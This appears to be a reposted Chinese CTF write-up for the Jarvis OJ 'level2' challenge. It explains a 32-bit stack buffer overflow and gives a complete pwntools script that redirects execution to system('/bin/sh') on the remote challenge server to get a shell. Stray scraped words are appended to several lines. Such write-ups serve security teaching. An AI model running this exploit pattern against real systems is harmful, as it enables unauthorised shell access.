Jarvis OJ - [XMAN]level2 - Writeup

Jarvis OJ - [XMAN]level2 - Writeup

M4x原創,轉載請標明出處http://www.cnblogs.com/WangAoBo/p/7622091.htmlhtml

題目:

分析:

  • 下載的文件先checksec檢查保護機制python

    沒有開棧保護和裝載地址隨機化shell

  • 拖到IDA中查看,shift+F12搜索字符串,發現了/bin/sh函數

     

    同時,在函數列表裏也發現了system函數spa

    這樣咱們就能夠構造一個system("/bin/sh")的僞棧幀,經過控制vulnerable_function()返回到該僞棧幀,便可執行system("/bin/sh")來get shelldebug

    由於咱們的目的只是爲了經過system("/bin/sh")來get shell,因此僞棧幀中system的返回地址能夠隨便指定code

步驟:

通過以上的分析直接放exp,關鍵的點都寫在註釋裏了htm

 1 #!/usr/bin/env python
 2 # -*- coding: utf-8 -*-
 3 __Auther__ = 'M4x'
 4 
 5 from pwn import *
 6 context.log_level = 'debug'
 7 
 8 elf = ELF('./level2')
 9 sys_addr = elf.symbols['system']#system函數地址
10 sh_addr = elf.search('/bin/sh').next()#/bin/sh字符串地址
11 
12 payload = 'a' * (0x88 + 0x4) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)#0xdeadbeef爲system("/bin/sh")執行後的返回地址,能夠隨便指定
13 #  io = process('./level2')
14 io = remote('pwn2.jarvisoj.com', 9878)
15 io.sendlineafter("Input:\n", payload)
16 
17 io.interactive()
18 io.close()

 

此時程序的運行流程以下圖:blog

結果:

運行便可達到flagutf-8

相關文章
相關標籤/搜索